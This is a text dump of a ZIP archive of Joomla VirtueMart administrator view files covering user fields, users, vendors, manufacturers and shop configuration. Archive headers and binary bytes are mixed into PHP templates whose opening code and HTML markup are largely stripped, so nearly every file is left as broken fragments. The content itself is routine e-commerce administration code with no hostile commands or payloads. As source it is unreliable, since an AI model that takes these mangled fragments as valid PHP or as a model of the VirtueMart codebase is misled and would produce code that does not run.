return; } } //No Closing Tag PKB\&&views/userfields/tmpl/edit.phpnuW+AuserField',$this->userField); ?>
    lists['type'] ); ?> userField->description,'100%','300', array('image','pagebreak', 'readmore') ); ?> userField->default,'class="inputbox"','',5); ?> lists['required']; ?> lists['registration']; ?> lists['account']; ?> lists['shipment']; ?> lists['readonly']; ?> lists['published']; ?> userField->size,'class="inputbox"','',5); ?> userField->ordering,'class="inputbox"','',5); ?> lists['vendors'] ); } ?>
    userField->maxlength,'class="inputbox"','',5); ?>
    userField->cols,'class="inputbox"','',5); ?> userField->rows,'class="inputbox"','',5); ?>
    lists['minimum_age'] ); ?>
    lists['webaddresstypes'] ); ?>
    lists['userfield_values'];?>
    userFieldPlugin; ?>
    userField->sys ? 'readonly="readonly"' : ''); $readonly=$this->userField->sys ? 'readonly' : '' ?> class="validate[required,funcCall[checkName]] inputbox " />
    hasKey($this->userField->title) ? JText::_($this->userField->title) : $this->userField->title; ?> ()
    addStandardHiddenToForm(); ?>
    setQuery("SHOW COLUMNS FROM `#__virtuemart_userfields`"); $existingFields = '"'.implode('","',$db->loadResultArray()).'"'; ?> PKB\)views/userfields/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\ views/userfields/tmpl/index.htmlnuW+APKB\!views/userfields/tmpl/default.phpnuW+A
    userfieldsList); $i < $n; $i++) { $row = $this->userfieldsList[$i]; // vmdebug('my rows',$row); $coreField = (in_array($row->name, $this->lists['coreFields'])); $image = (JVM_VERSION===1) ? 'checked_out.png' : 'admin/checked_out.png'; $image = JHtml::_('image.administrator', $image, '/images/', null, null, JText::_('COM_VIRTUEMART_FIELDMANAGER_COREFIELD')); //$checked = '
    '.JHTML::_('grid.id', $i, null,$row->virtuemart_userfield_id); $checked = JHTML::_('grid.id', $i ,$row->virtuemart_userfield_id,null,'virtuemart_userfield_id'); if ($coreField) $checked.=''. $image .''; $checked .= '
    '; // There is no reason not to allow moving of the core fields. We only need to disable deletion of them // ($coreField) ? // ''. $image .'' : $editlink = JROUTE::_('index.php?option=com_virtuemart&view=userfields&task=edit&virtuemart_userfield_id=' . $row->virtuemart_userfield_id); $required = $this->toggle($row->required, $i, 'toggle.required', $coreField); // $published = JHTML::_('grid.published', $row, $i); $published = $this->toggle($row->published, $i, 'toggle.published', $coreField); $registration = $this->toggle($row->registration, $i, 'toggle.registration', $coreField); $shipment = $this->toggle($row->shipment, $i, 'toggle.shipment', $coreField); $account = $this->toggle($row->account, $i, 'toggle.account', $coreField); $ordering = ($this->lists['filter_order'] == 'ordering'); $disabled = ($ordering ? '' : 'disabled="disabled"'); ?>
    sort('name','COM_VIRTUEMART_FIELDMANAGER_NAME') ?> sort('type','COM_VIRTUEMART_FIELDMANAGER_TYPE') ?> sort('ordering','COM_VIRTUEMART_FIELDMANAGER_REORDER') ?> userfieldsList ); ?> sort('virtuemart_userfield_id', 'COM_VIRTUEMART_ID') ?>
    name); ?> title); ?> type); ?> pagination->orderUpIcon( $i, true, 'orderup', JText::_('COM_VIRTUEMART_MOVE_UP'), $ordering ); ?> pagination->orderDownIcon( $i, $n, true, 'orderdown', JText::_('COM_VIRTUEMART_MOVE_DOWN'), $ordering ); ?> class="text_area" style="text-align: center" /> virtuemart_userfield_id; ?>
    pagination->getListFooter(); ?>
    addStandardHiddenToForm(); ?>
    PKB\yviews/userfields/view.json.phpnuW+AsetQuery($q); $this->plugin = $db ->loadObject(); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $parameters = new vmParameters($this->plugin , $this->plugin->element , 'plugin' ,'vmuserfield'); $lang = JFactory::getLanguage(); $filename = 'plg_vmuserfield_' . $this->plugin->element; if(VmConfig::get('enableEnglish', 1)){ $lang->load($filename, JPATH_ADMINISTRATOR, 'en-GB', true); } $lang->load($filename, JPATH_ADMINISTRATOR, $lang->getDefault(), true); $lang->load($filename, JPATH_ADMINISTRATOR, null, true); echo $parameters->render(); //echo ''; jExit(); } } jExit(); } } // pure php no closing tag PKB\#o,,views/index.htmlnuW+APKB\)views/user/.htaccessnuW+A Order allow,deny Deny from all PKB\views/user/index.htmlnuW+APKB\2[views/user/tmpl/edit_vendor.phpnuW+A langList; ?>
    :
    :
    :
    :
    : currencies, 'vendor_currency', '', 'virtuemart_currency_id', 'currency_name', $this->vendor->vendor_currency); ?>
    : currencies, 'vendor_accepted_currencies[]', 'size=10 multiple="multiple" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS').'"', 'virtuemart_currency_id', 'currency_name', $this->vendor->vendor_accepted_currencies); ?>
    vendor->images[0]->displayFilesHandler($this->vendor->virtuemart_media_id,'vendor'); ?>
    editor->display('vendor_store_desc', $this->vendor->vendor_store_desc, '100%', 350, 70, 15)?>
    editor->display('vendor_terms_of_service', $this->vendor->vendor_terms_of_service, '100%', 350, 70, 15)?>
    editor->display('vendor_legal_info', $this->vendor->vendor_legal_info, '100%', 100, 70, 15)?>
    vendor); ?>
    PKB\w·  views/user/tmpl/default.phpnuW+A
    userList); $i < $n; $i++) { $row = $this->userList[$i]; $checked = JHTML::_('grid.id', $i, $row->id); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=user&task=edit&virtuemart_user_id[]=' . $row->id); $is_vendor = $this->toggle($row->is_vendor, $i, 'toggle.user_is_vendor'); ?>
    sort('ju.username', 'COM_VIRTUEMART_USERNAME') ?> sort('ju.name', 'COM_VIRTUEMART_USER_DISPLAYED_NAME') ?> sort('shopper_group_name', 'COM_VIRTUEMART_SHOPPERGROUP') ?>
    username; ?> name; ?> email; ?> perm->getPermissions($row->id); // if(empty($row->perms)) $row->perms = 'shopper'; // echo $row->perms . ' / (' . $row->usertype . ')'; ?> shopper_group_name)) $row->shopper_group_name = $this->defaultShopperGroup; echo $row->shopper_group_name; ?> id; ?>
    pagination->getListFooter(); ?>
    addStandardHiddenToForm(); ?>
    PKB\views/user/tmpl/index.htmlnuW+APKB\پ22%views/user/tmpl/edit_vendorletter.phpnuW+A

    JText::_('COM_VIRTUEMART_VENDOR_LETTER_A4'), 'Letter'=>JText::_('COM_VIRTUEMART_VENDOR_LETTER_LETTER')), $default=$this->vendor->vendor_letter_format, $attrib='', 'value', 'text', $zero=false); ?> JText::_('COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION_PORTRAIT'), 'L'=>JText::_('COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION_LANDSCAPE')), $default=$this->vendor->vendor_letter_orientation, $attrib='', 'value', 'text', $zero=false); ?> vendor->vendor_letter_add_tos); ?> vendor->vendor_letter_add_tos_newpage); ?>
    :
    mm
    :
    mm
    :
    mm
    :
    mm
    :
    mm
    :
    mm
    pdfFonts, 'vendor_letter_font', 'size', 'value', 'text', $this->vendor->vendor_letter_font); // echo JHTML::link('http://dev.virtuemart.net/','Get More Fonts!','target="_blank"'); ?>
    : pt
    : pt
    : pt
    :
    vendor->vendor_letter_header); ?> :
    vendor->vendor_letter_header_line); ?> :
    vendor->vendor_letter_header_image); ?> :
    editor->display('vendor_letter_header_html', $this->vendor->vendor_letter_header_html, '100%', 200, 70, 15)?>

    vendor->vendor_letter_footer); ?> :
    vendor->vendor_letter_footer_line); ?> :
    editor->display('vendor_letter_footer_html', $this->vendor->vendor_letter_footer_html, '100%', 200, 70, 15)?>

    PKB\)l "views/user/tmpl/edit_orderlist.phpnuW+A
    orderlist as $i => $row) { $editlink = JROUTE::_('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id=' . $row->virtuemart_order_id); //OrderPrint is deprecated // $print_url = JURI::base().'?option=com_virtuemart&view=orders&task=orderPrint&virtuemart_order_id='.$row->virtuemart_order_id.'&format=raw'; // $print_link = " " // . JHTML::_('image.site', 'printButton.png', ((JVM_VERSION===1) ? '/images/M_images/' : '/images/system/'), null, null, JText::_('COM_VIRTUEMART_PRINT'), array('align' => 'center', 'height'=> '16', 'width' => '16', 'border' => '0')).''; ?>
    order_number; ?> created_on,'LC2',true); ?> modified_on,'LC2',true); ?> order_status); ?> currency->priceDisplay($row->order_total); ?>
    PKB\ޤ views/user/tmpl/edit_shopper.phpnuW+A
    lists['vendors']; ?>
    userDetails->perms; ?>
    lists['shoppergroups']; ?>
    userDetails->JUser->get('id') ) { ?>
    lists['shipTo']; ?>
    userFieldsBT['functions']) > 0) { echo ''."\n"; } for ($_i = 0, $_n = count($this->userFieldsBT['fields']); $_i < $_n; $_i++) { // Do this at the start of the loop, since we're using 'continue' below! if ($_i == 0) { $_field = current($this->userFieldsBT['fields']); } else { $_field = next($this->userFieldsBT['fields']); } if ($_field['hidden'] == true) { $_hiddenFields .= $_field['formcode']."\n"; continue; } if ($_field['type'] == 'delimiter') { if ($_set) { // We're in Fieldset. Close this one and start a new if ($_table) { echo ' '."\n"; $_table = false; } echo '
    '."\n"; } $_set = true; echo '
    '."\n"; echo ' '."\n"; echo ' ' . $_field['title']; echo ' '."\n"; continue; } if (!$_table) { // A table hasn't been opened as well. We need one here, echo ' '."\n"; $_table = true; } echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; } if ($_table) { echo '
    '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '.$_field['formcode']."\n"; echo '
    '."\n"; } if ($_set) { echo '
    '."\n"; } echo $_hiddenFields; ?>
    lists['canBlock']) : ?> lists['canSetMailopt']) : ?> userDetails->JUser ) : ?>
    lists['block']; ?>
    lists['sendEmail']; ?>
    userDetails->JUser->get('registerDate');?>
    userDetails->JUser->get('lastvisitDate'); ?>
    lists['params'], 'render'))) { echo $this->lists['params']->render('params'); } ?>
    contactDetails ) { ?>




    contactDetails->image) { ?>
    : contactDetails->name;?>
    : contactDetails->con_position;?>
    : contactDetails->telephone;?>
    : contactDetails->fax;?>
    contactDetails->misc;?>
    Contact

    PKB\)views/user/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\5 views/user/tmpl/edit_shipto.phpnuW+A
    shipToFields); if (count($this->shipToFields['functions']) > 0) { echo ''."\n"; } for ($_i = 0, $_n = count($this->shipToFields['fields']); $_i < $_n; $_i++) { // Do this at the start of the loop, since we're using 'continue' below! if ($_i == 0) { $_field = current($this->shipToFields['fields']); } else { $_field = next($this->shipToFields['fields']); } if ($_field['hidden'] == true) { $_hiddenFields .= $_field['formcode']."\n"; continue; } if ($_field['type'] == 'delimiter') { if ($_set) { // We're in Fieldset. Close this one and start a new if ($_table) { echo ' '."\n"; $_table = false; } echo '
    '."\n"; } $_set = true; echo '
    '."\n"; echo ' '."\n"; echo ' ' . $_field['title']; echo ' '."\n"; continue; } if (!$_table) { // A table hasn't been opened as well. We need one here, echo ' '."\n"; $_table = true; } echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; } if ($_table) { echo '
    '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '.$_field['formcode']."\n"; echo '
    '."\n"; } if ($_set) { echo '
    '."\n"; } echo $_hiddenFields; if(!empty($this->virtuemart_userinfo_id)){ echo ''; } ?> PKB\7  views/user/tmpl/edit.phpnuW+A
    userDetails->user_is_vendor){ $tabarray['vendor'] = 'COM_VIRTUEMART_VENDOR'; $tabarray['vendorletter'] = 'COM_VIRTUEMART_VENDORLETTER'; } $tabarray['shopper'] = 'COM_VIRTUEMART_SHOPPER_FORM_LBL'; //$tabarray['user'] = 'COM_VIRTUEMART_USER_FORM_TAB_GENERALINFO'; if ($this->shipToId != 0 || $this->new) { $tabarray['shipto'] = 'COM_VIRTUEMART_USER_FORM_SHIPTO_LBL'; } if (($_ordcnt = count($this->orderlist)) > 0) { $tabarray['orderlist'] = 'COM_VIRTUEMART_ORDER_LIST_LBL'; } AdminUIHelper::buildTabs ( $this, $tabarray,'vm-user'); ?> addStandardHiddenToForm(); ?>
    PKB\55$5$views/user/view.html.phpnuW+AassignRef('perm',$perm); $model = VmModel::getModel(); $currentUser = JFactory::getUser(); $task = JRequest::getWord('task', 'edit'); if($task == 'editshop'){ if(Vmconfig::get('multix','none') !=='none'){ //Maybe we must check here if the user is vendor and if he has an own id and else map to mainvendor. $userId = 0; } else { if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $userId = VirtueMartModelVendor::getUserIdByVendorId(1); } $this->SetViewTitle('STORE' ); } else if ($task == 'add'){ $userId = 0; } else { $userId = JRequest::getVar('virtuemart_user_id',0); if(is_array($userId)){ $userId = $userId[0]; } $this->SetViewTitle('USER'); } $userId = $model->setId($userId); //$layoutName = JRequest::getWord('layout', 'default'); $layoutName = $this->getLayout(); if ($layoutName == 'edit' || $layoutName == 'edit_shipto') { $editor = JFactory::getEditor(); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); $userDetails = $model->getUser(); if($task == 'editshop' && $userDetails->user_is_vendor){ // $model->setCurrent(); if(!empty($userDetails->vendor->vendor_store_name)){ $this->SetViewTitle('STORE',$userDetails->vendor->vendor_store_name, 'shop_mart' ); } else { $this->SetViewTitle('STORE',JText::_('COM_VIRTUEMART_NEW_VENDOR') , 'shop_mart'); } $vendorid = $userDetails->virtuemart_vendor_id; } else { $vendorid = 0 ; $this->SetViewTitle('USER',$userDetails->JUser->get('name')); } $_new = ($userDetails->JUser->get('id') < 1); $this->addStandardEditViewCommands($vendorid); // User details $_contactDetails = $model->getContactDetails(); $_groupList = $model->getGroupList(); if (!is_array($_groupList)) { $this->lists['gid'] = ''. JText::_($_groupList) .''; } else { $this->lists['gid'] = JHTML::_('select.genericlist', $_groupList, 'gid', 'size="10"', 'value', 'text', $userDetails->JUser->get('gid')); } $this->lists['canBlock'] = ($currentUser->authorize('com_users', 'block user') && ($userDetails->JUser->get('id') != $currentUser->get('id'))); // Can't block myself $this->lists['canSetMailopt'] = $currentUser->authorize('workflow', 'email_events'); $this->lists['block'] = JHTML::_('select.booleanlist', 'block', 'class="inputbox"', $userDetails->JUser->get('block'), 'COM_VIRTUEMART_YES', 'COM_VIRTUEMART_NO'); $this->lists['sendEmail'] = JHTML::_('select.booleanlist', 'sendEmail', 'class="inputbox"', $userDetails->JUser->get('sendEmail'), 'COM_VIRTUEMART_YES', 'COM_VIRTUEMART_NO'); $this->lists['params'] = $userDetails->JUser->getParameters(true); // Shopper info $this->lists['shoppergroups'] = ShopFunctions::renderShopperGroupList($userDetails->shopper_groups,true, 'virtuemart_shoppergroup_id'); $this->lists['vendors'] = ShopFunctions::renderVendorList($userDetails->virtuemart_vendor_id); $model->setId($userDetails->JUser->get('id')); $this->lists['custnumber'] = $model->getCustomerNumberById(); // Shipment address(es) $this->lists['shipTo'] = ShopFunctions::generateStAddressList($this,$model,'addST'); $new = false; if(JRequest::getInt('new','0')===1){ $new = true; } $virtuemart_userinfo_id_BT = $model->getBTuserinfo_id($userId); $userFieldsArray = $model->getUserInfoInUserFields($layoutName,'BT',$virtuemart_userinfo_id_BT,false); $userFieldsBT = $userFieldsArray[$virtuemart_userinfo_id_BT]; //$this->lists['perms'] = JHTML::_('select.genericlist', Permissions::getUserGroups(), 'perms', '', 'group_name', 'group_name', $userDetails->perms); // Load the required scripts if (count($userFieldsBT['scripts']) > 0) { foreach ($userFieldsBT['scripts'] as $_script => $_path) { JHTML::script($_script, $_path); } } // Load the required stylesheets if (count($userFieldsBT['links']) > 0) { foreach ($userFieldsBT['links'] as $_link => $_path) { JHTML::stylesheet($_link, $_path); } } $this->assignRef('userFieldsBT', $userFieldsBT); $this->assignRef('userInfoID', $virtuemart_userinfo_id_BT); $addrtype = vRequest::getCmd('addrtype'); if ($layoutName == 'edit_shipto' or $task=='addST' or $addrtype=='ST') { $virtuemart_userinfo_id = JRequest::getString('virtuemart_userinfo_id', '0',''); $userFieldsArray = $model->getUserInfoInUserFields($layoutName,'ST',$virtuemart_userinfo_id,false); if($new ){ $virtuemart_userinfo_id = 0; } else { } $userFieldsST = $userFieldsArray[$virtuemart_userinfo_id]; $this->assignRef('shipToFields', $userFieldsST); } $this->assignRef('shipToId', $virtuemart_userinfo_id); $this->assignRef('new', $new); if (!$_new) { // Check for existing orders for this user $orders = VmModel::getModel('orders'); $orderList = $orders->getOrdersList($userDetails->JUser->get('id'), true); } else { $orderList = null; } if (count($orderList) > 0 || !empty($userDetails->user_is_vendor)) { if (!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'currencydisplay.php'); $currency = CurrencyDisplay::getInstance(); $this->assignRef('currency',$currency); } // vmdebug('user $userDetails ', $userDetails ); if (!empty($userDetails->user_is_vendor)) { $vendorModel = VmModel::getModel('vendor'); $vendorModel->setId($userDetails->virtuemart_vendor_id); $vendorModel->addImages($userDetails->vendor); $this->assignRef('vendor', $userDetails->vendor); $currencyModel = VmModel::getModel('currency'); $_currencies = $currencyModel->getCurrencies(); $this->assignRef('currencies', $_currencies); $configModel = VmModel::getModel('config'); $this->assignRef('pdfFonts', $configModel->getTCPDFFontsList()); } $this->assignRef('userDetails', $userDetails); $this->assignRef('orderlist', $orderList); $this->assignRef('contactDetails', $_contactDetails); $this->assignRef('editor', $editor); } else { JToolBarHelper::divider(); JToolBarHelper::custom('toggle.user_is_vendor.1', 'publish','','COM_VIRTUEMART_USER_ISVENDOR'); JToolBarHelper::custom('toggle.user_is_vendor.0', 'unpublish','','COM_VIRTUEMART_USER_ISNOTVENDOR'); JToolBarHelper::divider(); JToolBarHelper::deleteList(); JToolBarHelper::editListX(); //This is intentionally, creating new user via BE is buggy and can be done by joomla //JToolBarHelper::addNewX(); $this->addStandardDefaultViewLists($model,'ju.id'); $userList = $model->getUserList(); $this->assignRef('userList', $userList); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); $shoppergroupmodel = VmModel::getModel('shopperGroup'); $defaultShopperGroup = $shoppergroupmodel->getDefault(0)->shopper_group_name; $this->assignRef('defaultShopperGroup', $defaultShopperGroup); } if(!empty($this->orderlist)){ VmConfig::loadJLang('com_virtuemart_orders',TRUE); } parent::display($tpl); } /* * What is this doing here? * */ function renderMailLayout ($doVendor=false) { $tpl = ($doVendor) ? 'mail_html_regvendor' : 'mail_html_reguser'; $this->setLayout($tpl); $vendorModel = VmModel::getModel('vendor'); $vendorId = 1; $vendorModel->setId($vendorId); $vendor = $vendorModel->getVendor(); $vendorModel->addImages($vendor); $this->assignRef('subject', ($doVendor) ? JText::sprintf('COM_VIRTUEMART_NEW_USER_MESSAGE_VENDOR_SUBJECT', $this->user->get('email')) : JText::sprintf('COM_VIRTUEMART_NEW_USER_MESSAGE_SUBJECT',$vendor->vendor_store_name)); parent::display(); } } //No Closing Tag PKB\Elviews/manufacturer/index.htmlnuW+A PKB\A views/manufacturer/view.html.phpnuW+ASetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $manufacturer = $model->getManufacturer(); $isNew = ($manufacturer->virtuemart_manufacturer_id < 1); $model->addImages($manufacturer); $this->assignRef('manufacturer', $manufacturer); /* Process the images */ $mediaModel = VmModel::getModel('media'); $mediaModel -> setId($manufacturer->virtuemart_media_id); $image = $mediaModel->getFile('manufacturer','image'); $manufacturerCategories = $categoryModel->getManufacturerCategories(false,true); $this->assignRef('manufacturerCategories', $manufacturerCategories); $this->addStandardEditViewCommands($manufacturer->virtuemart_manufacturer_id); if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor(); $this->assignRef('virtuemart_vendor_id', $virtuemart_vendor_id); } else { $mainframe = JFactory::getApplication(); $categoryFilter = $categoryModel->getCategoryFilter(); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model,'mf_name'); $manufacturers = $model->getManufacturers(); $this->assignRef('manufacturers', $manufacturers); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); $virtuemart_manufacturercategories_id = $mainframe->getUserStateFromRequest( 'com_virtuemart.virtuemart_manufacturercategories_id', 'virtuemart_manufacturercategories_id', 0, 'int' ); $this->lists['virtuemart_manufacturercategories_id'] = JHTML::_('select.genericlist', $categoryFilter, 'virtuemart_manufacturercategories_id', 'class="inputbox" onchange="this.form.submit()"', 'value', 'text', $virtuemart_manufacturercategories_id ); } parent::display($tpl); } } // pure php no closing tag PKB\)views/manufacturer/.htaccessnuW+A Order allow,deny Deny from all PKB\#ͮ #views/manufacturer/tmpl/default.phpnuW+A
    manufacturers ); $i < $n; $i++) { $row = $this->manufacturers[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_manufacturer_id,null,'virtuemart_manufacturer_id'); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=manufacturer&task=edit&virtuemart_manufacturer_id=' . $row->virtuemart_manufacturer_id); ?>
    sort('mf_name', 'COM_VIRTUEMART_MANUFACTURER_NAME') ; ?> sort('mf_email', 'COM_VIRTUEMART_MANUFACTURER_EMAIL') ; ?> sort('mf_desc', 'COM_VIRTUEMART_MANUFACTURER_DESCRIPTION'); ?> sort('mf_category_name', 'COM_VIRTUEMART_MANUFACTURER_CATEGORY'); ?> sort('mf_url', 'COM_VIRTUEMART_MANUFACTURER_URL'); ?> sort('m.virtuemart_manufacturer_id', 'COM_VIRTUEMART_ID') ?>
    mf_name; ?> mf_email)) echo ''.$row->mf_email ; ?> mf_desc; ?> mf_category_name; ?> mf_url)) echo ''. $row->mf_url ; ?> virtuemart_manufacturer_id; ?>
    pagination->getListFooter(); ?>
    addStandardHiddenToForm(); ?>
    PKB\2+ views/manufacturer/tmpl/edit.phpnuW+A
    manufacturer->virtuemart_manufacturer_id); // Loading Templates in Tabs END ?> addStandardHiddenToForm(); ?>
    PKB\)!views/manufacturer/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\h='views/manufacturer/tmpl/edit_images.phpnuW+A
    manufacturer->images[0]->addHidden('virtuemart_vendor_id',$this->virtuemart_vendor_id); echo $this->manufacturer->images[0]->displayFilesHandler($this->manufacturer->virtuemart_media_id,'manufacturer'); ?>
    PKB\Tnn,views/manufacturer/tmpl/edit_description.phpnuW+A langList; ?>
    manufacturer->mf_name); ?> manufacturer->published); ?> viewName.' '. JText::_('COM_VIRTUEMART_SLUG'),'slug',$this->manufacturer->slug); ?> manufacturerCategories,$this->manufacturer->virtuemart_manufacturercategories_id,'','virtuemart_manufacturercategories_id', 'mf_category_name',false); ?> manufacturer->mf_url); ?> manufacturer->mf_email); ?> manufacturer->mf_desc); ?>
    PKB\)views/.htaccessnuW+A Order allow,deny Deny from all PKB\)views/config/.htaccessnuW+A Order allow,deny Deny from all PKB\/%views/config/tmpl/default_pricing.phpnuW+AaddScriptDeclaration($js); ?>
    config, 'basePrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE'); echo ShopFunctions::writePriceConfigLine($this->config, 'variantModification', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD'); echo ShopFunctions::writePriceConfigLine($this->config, 'basePriceVariant', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR'); echo ShopFunctions::writePriceConfigLine($this->config, 'discountedPriceWithoutTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX', 0); echo ShopFunctions::writePriceConfigLine($this->config, 'priceWithoutTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX', 0); echo ShopFunctions::writePriceConfigLine($this->config, 'taxAmount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT', 0); echo ShopFunctions::writePriceConfigLine($this->config, 'basePriceWithTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX'); echo ShopFunctions::writePriceConfigLine($this->config, 'salesPrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE'); echo ShopFunctions::writePriceConfigLine($this->config, 'salesPriceWithDiscount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD'); echo ShopFunctions::writePriceConfigLine($this->config, 'discountAmount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT'); echo ShopFunctions::writePriceConfigLine($this->config, 'unitPrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE'); ?>
    PKB\Gviews/config/tmpl/default.phpnuW+A
    'COM_VIRTUEMART_ADMIN_CFG_SHOPTAB', 'shopfront' => 'COM_VIRTUEMART_ADMIN_CFG_SHOPFRONTTAB', 'templates' => 'COM_VIRTUEMART_ADMIN_CFG_TEMPLATESTAB', 'pricing' => 'COM_VIRTUEMART_ADMIN_CFG_PRICINGTAB', 'checkout' => 'COM_VIRTUEMART_ADMIN_CFG_CHECKOUTTAB', 'product_order'=> 'COM_VIRTUEMART_ADMIN_CFG_PRODUCTORDERTAB', 'sef' => 'COM_VIRTUEMART_ADMIN_CFG_SEF' )); ?>
    PKB\#o,,views/config/tmpl/index.htmlnuW+APKB\)views/config/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\V7F%F%&views/config/tmpl/default_checkout.phpnuW+AaddScriptDeclaration($js); /*
    */ ?>
    JText::_('COM_VIRTUEMART_DELDATE_INV') , 'osP' => JText::_('COM_VIRTUEMART_ORDER_STATUS_PENDING') , 'osU' => JText::_('COM_VIRTUEMART_ORDER_STATUS_CONFIRMED_BY_SHOPPER') , 'osC' => JText::_('COM_VIRTUEMART_ORDER_STATUS_CONFIRMED') , 'osS' => JText::_('COM_VIRTUEMART_ORDER_STATUS_SHIPPED') , 'osR' => JText::_('COM_VIRTUEMART_ORDER_STATUS_REFUNDED') , 'osC' => JText::_('COM_VIRTUEMART_ORDER_STATUS_CANCELLED') ); echo VmHTML::row('selectList','COM_VIRTUEMART_CFG_DELDATE_INV','del_date_type', VmConfig::get('del_date_type','m'), $_delivery_date_options); ?>
    orderStatusModel->renderOSList(VmConfig::get('inv_os',array('C')),'inv_os',TRUE); ?>
    orderStatusModel->renderOSList(VmConfig::get('email_os_s',array('U','C','S','R','X')),'email_os_s',TRUE); ?>
    orderStatusModel->renderOSList(VmConfig::get('email_os_v',array('U','C','R','X')),'email_os_v',TRUE); ?>
    titlesFields ; ?>
    */ ?>PKB\>^g7g7'views/config/tmpl/default_shopfront.phpnuW+A
    '1 ' . JText::_('COM_VIRTUEMART_DAY') , '1,W' => '1 ' . JText::_('COM_VIRTUEMART_WEEK') , '2,W' => '2 ' . JText::_('COM_VIRTUEMART_WEEK_S') , '1,M' => '1 ' . JText::_('COM_VIRTUEMART_MONTH') , '3,M' => '3 ' . JText::_('COM_VIRTUEMART_MONTH_S') , '6,M' => '6 ' . JText::_('COM_VIRTUEMART_MONTH_S') , '1,Y' => '1 ' . JText::_('COM_VIRTUEMART_YEAR') ); echo VmHTML::selectList('coupons_default_expire', VmConfig::get('coupons_default_expire'), $_defaultExpTime); ?>
    orderStatusModel->renderOSList(VmConfig::get('cp_rm',array('C')),'cp_rm',TRUE) ; ?>
    JText::_('COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_MODIFIED'), 'created_on' => JText::_('COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_CREATED') ); echo VmHTML::selectList('latest_products_orderBy', VmConfig::get('latest_products_orderBy', 'created_on'), $latest_products_orderBy); ?>
    JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_NONE'), 'disableit' => JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT'), 'disableit_children' => JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT_CHILDREN'), 'disableadd' => JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_ADD'), 'risetime' => JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_RISE_AVATIME') ); echo VmHTML::radioList('stockhandle', VmConfig::get('stockhandle', 'none'), $options); ?>
    imagePath); ?>
    <?php echo JText::_('COM_VIRTUEMART_PREVIEW'); ?>
    JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_NONE'), 'registered' => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_REGISTERED'), 'all' => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_ALL') ); //showReviewFor echo VmHTML::radioList('showReviewFor', VmConfig::get('showReviewFor', 'all'), $showReviewFor); ?>
    JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_NONE'), 'bought' => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_BOUGHT_PRODUCT'), 'registered' => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_REGISTERED') // 3 => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_ALL') ); echo VmHTML::radioList('reviewMode', VmConfig::get('reviewMode', 'bought'), $showReviewFor); ?>
    JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_NONE'), 'registered' => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_REGISTERED'), 'all' => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_ALL') ); echo VmHTML::radioList('showRatingFor', VmConfig::get('showRatingFor', 'all'), $showReviewFor); ?>
